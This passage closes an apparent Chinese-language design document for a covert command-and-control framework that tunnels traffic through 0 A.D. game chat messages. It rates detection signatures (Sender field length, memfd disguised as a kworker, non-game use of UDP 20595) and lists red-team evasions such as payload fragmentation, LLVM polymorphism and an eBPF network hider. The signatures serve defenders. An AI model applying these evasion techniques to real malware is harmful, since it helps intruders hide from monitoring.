| 二进制文件的 SHA256 hash | 极低 (每次 `make fresh` 都会改变) |
| 流量中的玩家名 | 低 (200 个基础名中抽取 20 个并变异) |
| `/proc/PID/maps` 中的 `[kworker/0:2]` 模式 | 中 (stager.c 中的 memfd 名称固定) |
| 非 0AD 进程使用 20595 UDP 端口 | 高 (稳定) |
| NMT_CHAT Sender ∈ ['g'..'n'] | 高 (稳定,协议定义) |
| NMT_CHAT Sender 长度 > 36 | 高 (base62 总是比 UUID 长) |
### 红队的缓解措施
| 检测向量 | 当前缓解措施 | 未来缓解措施 |
|---------------------|---------------------|-------------------|
| Sender 长度 > 36 | 无 | 将主体分片至 N 个数据包 |
| 首字符为 'g'-'n' | 无 (方案固有问题) | 在其他字段中编码 |
| memfd 名称 `[kworker]` | stager.c 中固定 | 每次构建 stager 时随机化 |
| YARA 针对 .text opcodes | 无 | LLVM 多态性 pass |
| 20595 端口非 0AD | eBPF network hider (需要 root) | — |
## 15. 参考
- 0 A.D. 网络源码 : `https://trac.wildfiregames.com/browser/ps/trunk/source/network/`
- ENet 协议 : `http://enet.bespin.org/`
- libsodium : `https://doc.libsodium.org/`
- X25519 Diffie-Hellman : RFC 7748
- XSalsa20-Poly1305 (`crypto_secretbox_easy`) : NaCl/libsodium 文档
- io_uring : `https://kernel.dk/io_uring.pdf` (Jens Axboe, 2019)
- eBPF CO-RE : `https://nakryiko.com/posts/bpf-core-reference-guide/`
- JA3 fingerprinting : `https://github.com/salesforce/ja3`
- JARM : `https://github.com/salesforce/jarm`
标签:C2框架, DNS 反向解析, IP 地址批量处理, 安全学习资源, 流量伪装, 网络信息收集, 网络隐匿, 逆向工具